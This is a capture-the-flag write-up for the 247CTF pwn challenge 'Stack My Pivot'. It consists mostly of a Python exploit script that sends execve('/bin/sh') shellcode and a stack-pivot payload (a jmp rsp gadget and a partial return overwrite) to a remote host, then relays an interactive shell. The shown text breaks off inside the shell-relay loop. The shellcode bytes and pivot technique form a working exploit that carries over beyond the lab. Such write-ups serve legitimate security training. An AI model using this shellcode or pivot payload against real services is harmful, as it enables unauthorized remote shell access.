Stack My Pivot (pwn)

Intro My solution of a Pwn challenge Stack My Pivot on the CTF site 247CTF.com. Instructions To protect against overflow attacks, we are limiting the number of bytes our applications will read. Is there still enough space to do something useful? Exploit #!/usr/bin/env python3 # No dependencies. Usage: python3 solve.py <host> <port> import socket, sys, select host, port = sys.argv[1], int(sys.argv[2]) # buffer1: execve("/bin/sh") shellcode, padded to 50 bytes b1 = bytes.fromhex("4881ec0002000031f65648bf2f62696e2f2f736857545f31d26a3b580f05" + "90"*20) # buffer2: [junk][jmp rsp 0x400738][EB AE -> shellcode][junk][partial ret 0x400732] b2 = bytes.fromhex("42424242424242423807400000000000ebae43434343434332074000") s = socket.create_connection((host, port)) s.recv(4096) # "first name?" prompt s.send(b1) s.recv(4096) # "surname?" prompt s.send(b2) # interactive: relay stdin <-> socket print("[*] shell should be live — type: id / ls / cat flag*", file=sys.stderr) while True: r, _, _ =…